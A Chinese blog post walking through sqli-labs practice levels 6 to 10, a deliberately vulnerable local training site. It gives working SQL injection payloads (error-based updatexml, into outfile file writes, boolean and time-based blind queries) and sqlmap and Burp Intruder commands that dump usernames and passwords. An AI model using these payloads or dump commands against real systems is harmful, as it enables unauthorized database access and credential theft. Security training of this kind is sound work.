sqli-labs(6-10)关通过讲解

于 2024-07-25 21:25:07 发布
阅读量683 收藏 9
点赞数 13
分类专栏： sqli-labs靶场全系列通关教程 文章标签： 数据库 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_53736204/article/details/140700420
版权

sqli-labs(6-10)关通过讲解

Less-6

方法一：手工注入

1.判断闭合

http://localhost/sqli-labs/Less-6/?id=1" //报错
http://localhost/sqli-labs/Less-6/?id=1" --+  //正常
http://localhost/sqli-labs/Less-6/?id=1" and 1=1 --+
http://localhost/sqli-labs/Less-6/?id=1" and 1=2 --+

image-20240723074403056

image-20240723074506128

image-20240723074515818

2.因为页面没有回显点而且语句错误会报错，所以我们用报错注入

先查数据库名

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,database()),3)--+

image-20240723074703304

3.再查表名

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security")),3)--+

image-20240723074902900

4.查users表中字段名

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users")),3)--+

image-20240723075008353

5.查username,password字段的数据

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select group_concat(username,password) from users)),3)--+

image-20240723075110959

这里发现数据并不全，若想查到后面的数据可用限制查询：

http://localhost/sqli-labs/Less-6/?id=1" and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 4,1)),3)--+
#limt 4,1 从4开始查询一位，通过修改起始位置来分别查每行数据

image-20240723075244946

方法二：工具注入

使用sqlmap.py

1.查看所有数据库和当前数据库

python3 sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1" --dbs --batch

image-20240723075627745

python3 sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1"  --batch --current-db

image-20240723075714182

2.查看security库中表

python3 sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1"  --batch -D security --tables

image-202407230759098763.c

3.查看users表中数据

python3 sqlmap.py -u "http://localhost/sqli-labs/Less-6/?id=1"  --batch -D security -T users --dump

image-20240723080010436

Less-7

看下题目是用into outfile

image-20240725204313317

1.判断闭合

先尝试'发现页面显示

image-20240723080448118

"页面显示

image-20240723080517241

所以以**'**为主继续尝试闭合

http://localhost/sqli-labs/Less-7/?id=1')  and 1=1--+ //报错
http://localhost/sqli-labs/Less-7/?id=1'))  and 1=1--+ //正常
http://localhost/sqli-labs/Less-7/?id=1'))  and 1=2--+ //报错

所以闭合方式为 ')) --+

2.判断字段数

http://127.0.0.1/sqli-labs/Less-7/?id=1')) order by 3--+ //正常
http://127.0.0.1/sqli-labs/Less-7/?id=1')) order by 4--+ //报错

3.查表

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,database() into outfile   'D:/download/database.txt' --+

image-20240725205523035

image-20240725205546693

4.查表

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema="security") into outfile 'D:/download/table.txt' --+

image-20240725205743915

5.查users的列

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users") into outfile 'D:/download/column.txt' --+

image-20240725205855253

6.users查数据

http://127.0.0.1/sqli-labs/Less-7/?id=1')) union select 1,2,(select group_concat(id,username,password) from users) into outfile 'D:/download/dump.txt' --+

image-20240725205957032

Less-8

题目是布尔注入-单引号

image-20240725210133170

1.判断闭合

http://localhost/sqli-labs/Less-8/?id=1' and 1=1 --+
http://localhost/sqli-labs/Less-8/?id=1' and 1=2 --+

image-20240723085056753

image-20240723085104474

2.可以看出既没有回显点也没有报错，可通过布尔注入方式进行注入

方法一：

先去猜数据库长度

# 数据库长度判断
1：判断当前数据库的长度，利用二分法
?id=1' and length(database())>5--+   //正常显示
?id=1' and length(database())>8--+   //异常显示
?id=1' and length(database())=8--+   //正常显示
所以可知当前数据库长度为8个字符

知道数据库长度之后，我们可以利用ascii() substr() 函数对数据库名进行截取判断
ascii码是多少，最终得到数据库名"ascii(substr(database(),1,1)) 
ps:substr()截取位置默认从1开始

# 数据库名称判断
2：判断当前数据库的字符,和上面的方法一样，利用二分法依次判断
判断数据库的第一个字符
?id=1' and ascii(substr(database(),1,1))>114--+
?id=1' and ascii(substr(database(),1,1))>116--+
?id=1' and ascii(substr(database(),1,1))=115--+   //ascii码值115对应的字母为s
然后依次判断每个字符，数据库长度为8

最后可以判断出当前数据库为 security

数据库表名、字段名、表数据都可按此方法依次执行

也可以使用BP对其ASCII码进行爆破…

抓取以下数据包并将其发送到Intruder模块下，将截取字符串位置与ASCII码添加攻击向量，并设置攻击模式为集束炸弹(Cluster bomb);进入Payload标签下设置攻击内容如下并开启爆破攻击…

img

Payload1有效载荷给定截取位置，Payload2有效载荷给定ascii范围

img

From：字符串截取起始位置，To:字符串截取结束位置

img

img

按长度排序找到只有8个一样长度的数据，将ASCII码值转换成字母然后从1到8排序，最后得到 security就是数据库名

img

查表名

第一步：获取数据库下表的个数

# 判断当前数据库中表的个数
//判断当前数据库中的表的个数是否大于5，用二分法依次判断，最后得知当前数据库表
的个数为4
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>3--+
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>4--+
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4--+

img

第二步：分别注入出各个表名得长度。

第一个表：
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6--+
第二个表
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8--+
第三个表
...

第三步：猜测表名每个字符的ASCII值

​ 抓取以下数据包并将其发送到Intruder模块下，将截取字符串位置与ASCII码添加攻击向量，并设置攻击模式为集束炸弹(Cluster bomb)

?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='a'--+

第一个表：6个字段

img

img

img

img

通过排序查出第一个表为：emails

第二个表：长度为8

img

img

img

第二个表为：referers

其他表依次判断

由此可判断出存在表 emails、referers、uagents、users ，猜测users表中最有 可能存在账户和密码，所以以下判断字段和数据在 users 表中判断

爆破users字段名

第一步：判断字段数量

?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name="users" limit 0,1)=3--+  //3个字段

第二步：判断users各字段长度

?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1))=2--+
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1))=8--+
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1))=8--+

第三步：判断每个字段的字符—BP抓包爆破

#判断语句是否之前
?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1),1,1)>'a'--+
#随便等于一个字母然后抓包爆破
?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1),1,1)='a'--+

第一个字段

img

img

img

img

所以为id

第二个第三个，修改limit从哪开始

img

img

或者把limit 0，1中 0也 设置成Payload1也可查出就是比较乱得找。

最终结果为：username，password

爆破字段下的内容

第一步：获取字段下内容得数量
?id=1' and (select count(username) from users limit 0,1)=12 --+
获取字段第内容长度
# 猜解字段中数据的长度
//依次判断所有数据
?id=1' and length((select id from users limit 0,1))>5--+
?id=1' and length((select username from users limit 0,1))>3 --+
?id=1' and length((select password from users limit 0,1))>3 --+
#获取第一个字段内容
#猜解字段数据的每个字符ASCII编码的出字符或者直接=字符判断字符
?id=1'and (ascii(substr((select username from users limit 0,1),1,1)))=68--+
?id=1'and (ascii(substr((select password from users limit 0,1),1,1)))=68--+

然后通过Burp爆破获取

小结：一般布尔盲注，手工注入过于繁琐；不建议手注可借助工具如 SQLMAP…

方法二：工具注入

布尔盲注手工注入太过麻烦，最好借助工具sqlmap来注入

方法跟Less-6相同，这里我直接写出最后一步

python3 sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --batch -D security -T users --dump

image-20240725210950099

推荐使用工具注入

Less-9

题目提示用时间盲注

image-20240725211044833

1.判断闭合

之前判断方法都无法判断闭合但是可以用sleep()判断
http://127.0.0.1/sqli-labs/Less-9/?id=1' and sleep(5) --+

image-20240725211532297

看见网页延时5s加载完那么闭合成功

2.判断数据库长度

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(length(database())=8,sleep(5),1) --+

3.判断数据库字段

http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))>90,sleep(5),1) --+
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) 
//依次判断每一个

image-20240725212025026

4.其他也是这样判断，太累了，这里就不赘述了。其实跟Less-8差不多，非常类似，都是靠猜。

Less-10

image-20240725212313947

跟Less-9一样，就是闭合不同

http://127.0.0.1/sqli-labs/Less-10/?id=1" and sleep(5)--+
黑白时光les
关注
  • 13
    点赞
  • 踩
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
最详细sqli-labs平台前十关讲解
妙蛙种子吃了都会妙妙秒的妙脆角的博客
01-10 2850
最详细sqli-labs平台sql注入语法讲解 文章目录最详细sqli-labs平台sql注入语法讲解一、sql注入的简单介绍二、sqli-labs平台的搭建二、实验1.Less-1(single quotes)2.Less-2(intiger based)3.Less-3(single quotes with twist)4.Less-4(double quotes)5.Less-5 最近也是沉迷于学习sql注入，越是了解越是发现其中的奥妙与乐趣，在这篇文章中主要是以sqli-labs平台为例子，记录一些
sqli-labs视频
02-23
SQL注入（SQL Injection）是一种常见的...通过观看sqli-labs视频系列，学习者能够深入理解SQL注入的原理，掌握检测和防御技巧，并熟悉实际的攻击方法。这些知识对于构建安全的Web应用程序和提高网络安全意识至关重要。
详细sqli-labs（1-65）通关讲解
热门推荐
dreamthe的博客
05-17 14万+
​ 如果刚开始接触sql注入，那么sqli-labs这个靶场会很适合你，里面包含了很多的情景，以及我们在sql注入的时候遇到的阻碍。本章将1-65关重点关卡进行详细讲解。代码基本上很全。如果靶场练习完了可以看我这篇SQL注入总结会更好掌握。​SQL注入非常详细总结_糊涂是福yyyy的博客-CSDN博客_sql注入数据包 ​...
sqli-labs1-10关闯关心得与思路
m0_48294281的博客
03-08 6115
sqli-labs 1-11关闯关个人心得，欢迎交流指正。
sqli-labs 第七关 多命通关攻略
两个月亮
01-05 1642
错误输入与不正常输入的返回结果是相同的。该页面的 PHP 代码存在这么一个判断语句，在 SQL 查询结果不为空集时，返回结果为；反之返回。怎么会这样？等等，我们刚刚得出的结论好像被忽略了：该页面的 PHP 代码存在这么一个判断语句，在 SQL 查询结果不为空集时，返回结果为；反之返回。既然返回结果为空都将返回，那我们刚刚构造的判断语句又怎么能够判断出注入类型呢？在遇到读写权限问题后，尝试向搜索引擎寻求帮助，但解决方案大多针对 Linux 操作系统且并不详细，只好自己摸索了。
SQLi-Labs 安装
SunJ3t的菠萝屋
05-24 6546
1. 前言 我们在刚学习 SQL 注入的时候，往往都需要一个能 SQL 注入的网站进行 SQL 注入学习。如果直接去网上寻找存在 SQL 注入的网站对新手来说有些难度，因此我们一般都是在本地搭建一个能 SQL 注入测试的网站。 这里就来讲解一下 SQLi-Labs 的下载，安装，搭建教程。 注意： PHP 版本一定要设置成 PHP5 以上，PHP7 以下，PHP5 以上才有 information_schema 库，PHP7 之后的 mysql_ 都改成了 mysqli_** 了，所以用其他版本的 PHP
详细sqli-labs（1-20）通关讲解
05-18
详细sqli-labs（1-20）通关讲解
sqli-labs-book
03-26
同时，对于安全测试和渗透测试的流程也会有所讲解，这对于成为一名合格的安全从业者至关重要。 总的来说，"sqli-labs-book"是一个全面的学习资源，旨在帮助读者掌握SQL注入的各个方面，从基本概念到高级技巧，再到...
sqli-labs.7z
08-29
3. **盲注技术**：Level 10-15讲解了如何在没有明显错误回显时，通过判断查询结果的真假来获取数据，如基于时间的盲注和基于布尔的盲注。 4. **联合查询注入**：Level 16-20涉及利用联合查询来组合多个数据库查询，...
结合手工注入编写一个SQL盲注脚本——以SQLi-Labs less16为例.doc
07-09
本文档主要讲解了如何结合手工注入编写一个SQL盲注脚本，以SQLi-Labs less16为例。整个过程可以分为两部分：分析测试注入点和获取数据库名编写脚本。 一、分析测试注入点 在分析测试注入点时，我们首先需要抓包，...
sqli手册，学习sql注入必备
07-26
Lcamry在2016年7月制作的"Mysql注入---sqlilabs---lcamryMYSQL注入天书"，提供了详细的通关指南。Sqli-labs包含多个难度级别的挑战，从基础到高级，逐步引导学习者掌握SQL注入技巧。 在基础挑战部分，"Background-1...
sql注入讲解ppt.pptx
08-10
2. SQLi-Labs：SQL 注入的靶场，提供了不同知识点的题目，需要与 PHPStudy 结合使用。 3. Hackbar：写注入的 payload 的工具，大有用处。 4. Burpsuite：多功能的工具，可以写 payload 上传，也可以爆破。 四、...
SQL 注入天书.pdf
08-06
《SQL注入天书》是针对这个主题的深度学习资源，旨在帮助读者理解SQL注入的工作原理，并提供实践平台sqli-labs进行技能提升。 **SQLI和sqli-labs介绍** SQL注入（SQL Injection）是网络渗透测试中的关键一环，涉及...
sql注入之手工注入示例详解
09-10
本文将深入讲解如何进行手工SQL注入，以帮助读者理解和掌握这个过程。 首先，我们需要识别注入点，即用户输入能够影响到SQL查询的地方。例如，在URL中的"id"参数（http://localhost/sqlilabs/Less-2/?id=1）就是一...
OAuth2.0 or Spring Session or 单点登录流程
qq_53374893的博客
07-20 440
一句话精辟解释： 在过滤器放行的时候，偷偷的把原生的 request 和 response 对象换成了它的实现，也就是 调用getSession 的时候拿到的 其实是对redis 操作的Session。但其他的操作还是使用原生的，只不过重写的方法，调用的是子类的，也就是往 redis 里放入 Session，把原生的操作给替换了！分布式Session原理，使用子域名，的时候放入父域名的 JsessionId 然后将这个ID 的所存的内容放入Redis ，这样实现不同域名共享同一sessionID.
redis+spring面试题
github_36510643的博客
07-21 410
redis+spring面试题
基于JSP的高校信息资源共享平台
最新发布
heye0910032的博客
07-22 659
高校信息资源共享平台的开发和实现，为高校信息资源的管理和共享提供了一个有效的解决方案。通过使用JSP技术和MySQL数据库，本系统实现了一个稳定、安全、易用的高校信息资源管理平台。虽然在开发过程中遇到了一些技术挑战，但通过不断学习和实践，最终完成了一个能够满足用户需求的系统。未来，我们将继续优化系统功能，提升用户体验，以期达到更高的应用价值和社会效益。高校信息资源共享平台的开发和实现，为高校信息资源的管理和共享提供了一个有效的解决方案。
docker容器
2401_83945639的博客
07-20 949
root@lvs-server ~]# docker start 8a1e7f458daf --手动start启动。-v 目录映射【宿主机的目录映射给容器的某个目录，将容器中的目录挂载到宿主机的目录中】docker rm -f $(docker ps -aq) 删除所有的容器。docker rm -f cname 强制删除，可以删除正在运行的容器。-p 端口映射【宿主机的端口映射给容器的某个端口】创建容器并运行 --这个是mysql的容器。docker ps -q 查看所有容器id。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值